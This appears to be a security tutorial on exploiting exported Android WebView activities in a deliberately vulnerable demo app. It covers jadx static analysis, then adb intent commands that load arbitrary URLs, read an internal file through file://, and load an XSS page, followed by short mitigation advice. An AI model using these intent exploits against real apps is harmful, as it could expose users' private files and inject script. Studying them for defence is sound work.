Android WebView, an android system component, allows android apps to load or display content remotely.
Note: It isn’t a full fletched browser: It is just a part of the activity from the application.
For simple definition: WebView is like a simple browser in our application that we can use for browsing web content.
In the Facebook application, we can browse the external web URL as well.
Browser supported protocols.
Before diving into WebView we must understand some concepts.
Every android app must have an AndroidManifest.xml file that describes essential information—components, package name, apps permissions, hardware and software requirement— about the application.
Android Application Components
3. Content Provider
4. Broadcast Receiver
An activity is a single, focused thing that the user can do. Almost all activities interact with the user.
Example: once you entered your credentials on login page it will redirect you into another activity(page)
<manifest … > <application … > <activity android:name=”.ExampleActivity” /> … </application … > … </manifest >
In the background, a service can perform long-running operations. It does not need any user interface.
<manifest … >
<application … >
<service android:name=”.ExampleService” />
Android apps can send and receive, broadcast messages via the Android system and other Android apps.
Example: Downloaded notification. USB plugin and more.
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
A provider as part of an Android application often provides its UI for working with the data (files, storage, and cloud)
Which is help to component interact with each other
Let us dive into static code analysis.
Decompile the app using jadx and Open the manifest.xml file. Then, check application activity.
Step 1: Open the application in jadx
Step 2: Check the manifest.xml
Just check for this Exported Flag is enabled for any activity or not.
If the exported attribute has true value. It was exported else attribute had false value it’s not exported.
Support WebView and Registration WebView are explicitly exported; The Main activity is also exported as an intent filter.
Now Navigate to Registration activity.
Webview activity – As you can see, the below POC explains how to analyze the code to identify the loadWebView and loadURL function.
When we are looking to the WebView object closely
The String send to the intent to load the url(reg_url)
Exploitation Method 01: Exploitation using 3rd Party Apps
This functionality can be exploited by 3rd party applications by sending the intent to the component with a URL application that will accept any URL due to the component which was exported.
ADB is used for this activity, also we can use drozer tool.
Connect our android device using adb
Adb connect 192.168.1.6:5555
use following command for exploiting webview
adb shell am start –n com.tmh.vulwebview/.RegistrationWebView –es reg_url http://securelayer7.net
shell – will start unix shell on the device.
Am – activity manager
Start – start the activity
-n – name of the compenent
–es – extra string
We have sent the intend with securelaye7.net within the context
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView –es reg_url https://google.com
Exploitation Method 02: Read internal file
I have created file called internal.txt inside the directory
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView –es reg_url “file:///data/data/com.tmh.vulnwebview/internal.txt”
Exploitation Method 03: XSS through WebView
In the below image, we hosted a simple HTML file with an alert box on the python server.
Load the below command over the adb shell.
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView –es reg_url “http://192.168.1.5/xss.html”
Validating the origin of the content being loaded by the WebView is a good security precaution. It can be implemented by overriding the shouldOverrideUrlLoading and the shouldInterceptRequest methods.
Avoid following Vulnerable methods when WebView is in place:
Reading Local Resource Mitigation:
Android WebView is useful as it allows you to view links in the apps without leaving them. But you must keep it updated to prevent it from becoming a hacking pathway.